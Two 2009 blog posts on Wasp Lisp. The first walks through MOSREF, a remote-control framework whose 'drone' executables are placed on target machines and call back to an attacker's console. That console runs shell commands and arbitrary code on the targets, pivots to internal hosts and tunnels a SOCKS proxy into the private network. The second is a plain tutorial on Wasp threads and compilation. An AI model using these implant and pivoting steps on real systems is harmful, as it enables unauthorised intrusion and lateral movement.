Saturday, November 28, 2009

Using the Wasp Lisp Secure Remote Injection Framework (MOSREF)

MOSREF is a secure remote injection framework written in Wasp Lisp (which I previously wrote about here). With MOSREF you have a 'console' program running which can create dones applications that are run on a target system.

The console and drones can communicate with each other, executing shell commands or Wasp Lisp code. Drones can create other drones to 'bridge' bridge communications so the console can send commands to drones it is not directly connected too.

Lisp code can be compiled and sent to drones to execute. One of the 'built in' capabilities is a Socks proxy server. This can be run on a drone and data is tunneled to the console which the controller can use as a socks proxy.

MOSREF isn't built by default with Wasp. To build it you need to run 'waspc' to compile and create an executable (example assumes you are in the root of the Wasp source directory):

$ cd mod
$ waspc -exe ../mosref bin/mosref
BUILD: bin/mosref
BUILD: core/macro
BUILD: core/config
BUILD: site/config
...
BUILD: mosref/cmd/with
BUILD: mosref/cmds
BUILD: bin/mosref
$ chmod +x ../mosref
$ rlwrap ../moseref
console> help
Commands: clear <key> ...
cp <src-file> <dst-file>
do <lisp-expr>
drone <file> <id> <platform>
exit
help [<command>]
load <path>
nodes
on <node-id> [<command>]
proxy [<portno> [<secret>]]
recover <id>
set [<key>[=<value>] [<command>]]
sh <cmd>
with <key>[=<value>] [<command>]

The first thing you need to do on the running console is set the IP address and the port it will listen on (Replacing xx.xx.xx.xx with the IP address):

console> set addr=xx.xx.xx.xx
Set.
console> set port=10000
Set.

Now you need to create a drone executable to be run on the target system:

console> drone drone1 foo linux-x86
Drone executable created.
Listening for drone on 10000...

This creates an executable for Linux systems called 'drone1'. It is given the name node name 'foo'. It will show in the list of nodes available from the console:

console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
foo offline

When the 'drone1' executable is run on a target system it will connect to the console using an encrypted connection. You will need to find a way to copy and run the executable onto the target. The following shows it being run on the target:

target$ ./drone1
DRONE: Preparing keys...
DRONE: Sending Drone Public Key...
DRONE: Sending Drone IV...
DRONE: Reading Console IV...
DRONE: CONSOLE IV CT is ...
DRONE: CONSOLE IV PT is ...
DRONE: Confirming Console IV...
DRONE: Waiting for Console to confirm Drone IV...
DRONE: Affiliation complete....

The connection will show on the console:

console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
foo online

Notice it shows 'foo' is now online. It's now possible to execute commands on the target machine by sending them to the drone. Using 'sh' you can execute shell commands. From the console:

console> on foo sh ifconfig
eth0 Link encap:Ethernet HWaddr ...
inet addr:yy.yy.yy.yy
...
RX bytes:2458924520 (2.2 GB) TX bytes:2458924520 (2.2 GB)
console> on foo set addr=yy.yy.yy.yy
Set.
console> on foo set port=10000
Set.

Here we execute 'ifconfig' on the target so we can find out the IP address. The output of 'ifconfig' is sent back to the console. Using this information the addr and port is set on the drone. This can be used to have the target create new drones on internal machines that only it can access. It will then act as a bridge between the console and the internal machine.

As well as running shell commands you can run Wasp Lisp code:

console> on foo do (+ 1 2)
:: 3
console> on foo load lib/http-file-server.ms
:: spawn-http-file-server
console> on foo do (offer-http-file 2080 "/test" "text/plain" "Hello world!")
:: [queue 824A098]

Using 'on foo do' we compile a Lisp expression and send it to 'foo' to be run. In this case a simple addition. 'on foo load' will load a Lisp file located on the console, compile it, and send the byte code to be run on 'foo'. Then we 'on foo do' to run a function contained in that file on the 'foo' machine. In this case, it runs a simple webserver. Any Lisp code can be sent and run.

It's possible to copy files between nodes too. In this next example we create another drone that will be run on a machine internal to the network that the target is on. Note that the build is performed on the console so we need to copy the executable from there to the target.

console> on foo drone drone2 bar linux-x86
Drone executable created.
Listening for drone on 10000...
console> cp console:/home/console/waspvm/mod/drone2 foo:/tmp/drone2
Copy from console:/home/console/waspvm/mod/drone2 to foo:/tmp/drone2

Using some magic means (an exploit, copying file using shell commands on the target drone, etc) we get 'drone2' running on another machine available internally on the target network:

target2$ ./drone2
DRONE: Preparing keys...
DRONE: Sending Drone Public Key...
DRONE: Sending Drone IV...
DRONE: Reading Console IV...
DRONE: CONSOLE IV CT is ...
DRONE: CONSOLE IV PT is ...
DRONE: Confirming Console IV...
DRONE: Waiting for Console to confirm Drone IV...
DRONE: Affiliation complete....

From the console we now see the 'bar' node:

console> nodes
NODES: bar online
console online address: xx.xx.xx.xx port: 10000
foo online address: yy.yy.yy.yy port: 10000

MOSREF has a 'proxy' command that lets you set up a Socks 4 proxy on the console that tunnels traffic to and from a target node. Here we set up a proxy to the 'bar' node:

console> on bar proxy 5000
SOCKS Proxy created, listening on port 5000.

This will result in the 'console' machine having a Socks 4 proxy running on port 5000. If you configure Firefox to use this proxy you can access local webservers available from the internal network that 'bar' can see. Note that 'console' can't see 'bar' directly. It is tunnelling traffic to 'foo', from there to 'bar', then back from 'bar' to 'foo' and to 'console.

The source for MOSREF is in the Wasp Lisp distribution and makes for a good body of Wasp Lisp code for learning.


Categories:

Friday, November 27, 2009

Wasp Lisp - a Small Scheme-like Lisp

Wasp Lisp is a small Scheme-like Lisp implementation developed by Scott Dunlop. It features a lightweight concurrency model (with similarities to Erlang and Termite).

Wasp Lisp was originally derived from MOSREF - the Mosquito Secure Remote Execution Framework. It includes an implementation of MOSREF so can do similar things that the original was built for.

Wasp feels a lot like Scheme. It has a REPL which you can use to try Lisp interactively. You can spawn lightweight threads and use channels to communicate between threads. Here's a simple example with a thread that loops forever, waits for data to be sent to a channel and then prints that out. From the REPL strings are interactively sent to the channel:

$ rlwrap ../wasp
>> (define channel (make-queue))
:: [queue 98154C0]
>> (define (looper channel)
.. (forever
.. (define data (wait channel))
.. (print data)))
:: looper
>> (spawn looper channel)
:: [process looper]
>> (send "hello\n" channel)
hello
:: [queue-output 9815500]
>> (send "world\n" channel)
world
:: [queue-output 9815500]

Threads are co-operative in Wasp. You need to manually yield to switch from a thread. The following example doesn't manually yield and will constantly print 'a' to the terminal:

(begin 
(spawn
(lambda ()
(forever (print "a\n"))))
(spawn
(lambda ()
(forever (print "b\n")))))

To yield you use the 'pause' function. Adding this to the 'forever' loop in the example above will switch between the two threads:

(begin 
(spawn
(lambda ()
(forever
(pause)
(print "a\n"))))
(spawn
(lambda ()
(forever
(pause)
(print "b\n")))))

Wasp Lisp code can get compiled to a compact bytecode format using the 'waspc' command. This can produce a binary executable for the platform:

$ cat >test.ms
(define (main)
(print "hello world!\n"))

$ waspc -exe hello test.ms
BUILD: test
BUILD: core/macro
BUILD: core/config
BUILD: site/config
BUILD: core/file
BUILD: core/module
BUILD: core/io
BUILD: core/macro
BUILD: core/config
BUILD: site/config
BUILD: core/file
BUILD: core/module
BUILD: core/io
BUILD: test
$ chmod +x hello
$ ./hello
hello world!

There is quite a bit of example code, including a simple HTTP server:

$ rlwrap ../wasp
>> (import "lib/http-file-server")
:: #t
>> (offer-http-file 2080 "/test" "text/plain" "Hello world!")
:: [queue 985A1F0]

This serves the text 'Hello world!' when http://localhost:2080/test is requested. The Wasp VM site has an informal speed test of serving data comparing against THTTPD.

Wasp builds and runs on Linux, Mac OS X and Windows. Instructions for building and links to other information are here. The source is available on launchpad. libevent is needed to build.

Categories: